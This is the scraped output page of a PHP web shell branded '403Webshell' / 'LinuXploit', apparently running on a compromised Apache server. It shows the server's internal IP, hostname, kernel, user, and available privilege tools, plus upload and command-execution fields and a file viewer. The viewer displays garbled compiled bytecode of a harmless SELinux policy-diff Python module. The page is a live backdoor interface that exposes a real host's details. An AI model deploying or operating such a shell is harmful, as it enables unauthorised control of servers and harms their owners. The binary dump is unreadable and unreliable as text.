403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.6/site-packages/setools/diff/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.6/site-packages/setools/diff/__pycache__/genfscon.cpython-36.pyc
3

�^
�@shddlmZddlmZddlmZddlmZmZedddd	g�Z	Gd
d�de�Z
Gdd
�d
e�ZdS)�)�
namedtuple�)�ContextWrapper)�DiffResultDescriptor)�
Difference�WrapperZmodified_genfs�ruleZ
added_contextZremoved_contextc@s8eZdZdZed�Zed�Zed�Zdd�Zdd�Z	dS)�GenfsconsDifferencez@Determine the difference in genfscon rules between two policies.�diff_genfsconscCs�|jjdj|��|jdd�|jj�D�dd�|jj�D��\|_|_}g|_	x<|D]4\}}t
|j�t
|j�krT|j	jt
||j|j��qTWdS)z?Generate the difference in genfscon rules between the policies.zHGenerating genfscon differences from {0.left_policy} to {0.right_policy}css|]}t|�VqdS)N)�GenfsconWrapper)�.0�fs�r� /usr/lib64/python3.6/genfscon.py�	<genexpr>/sz5GenfsconsDifference.diff_genfscons.<locals>.<genexpr>css|]}t|�VqdS)N)r)rr
rrrr0sN)�log�info�formatZ	_set_diffZleft_policyZ	genfsconsZright_policy�added_genfscons�removed_genfscons�modified_genfsconsr�context�append�modified_genfs_record)�selfZmatchedZ	left_ruleZ
right_rulerrrr
's 
z"GenfsconsDifference.diff_genfsconscCs"|jjd�d|_d|_d|_dS)z%Reset diff results on policy changes.z#Resetting genfscon rule differencesN)r�debugrrr)rrrr�_reset_diff?szGenfsconsDifference._reset_diffN)
�__name__�
__module__�__qualname__�__doc__rrrrr
rrrrrr	sr	c@s4eZdZdZdZdd�Zdd	�Zd
d�Zdd
�ZdS)rz,Wrap genfscon rules to allow set operations.r
�path�filetypercCs8||_|j|_|j|_|j|_t|j�|_t|�|_dS)N)�originr
r!r"rr�hash�key)rrrrr�__init__MszGenfsconWrapper.__init__cCs|jS)N)r%)rrrr�__hash__UszGenfsconWrapper.__hash__cCs|j|jkS)N)r%)r�otherrrr�__lt__XszGenfsconWrapper.__lt__cCs$|j|jko"|j|jko"|j|jkS)N)r
r!r")rr(rrr�__eq__[szGenfsconWrapper.__eq__N)r
r!r"r)	rrrr �	__slots__r&r'r)r*rrrrrGsrN)�collectionsrrrZdescriptorsr�
differencerrrr	rrrrr�<module>s(

Youez - 2016 - github.com/yon3zu
LinuXploit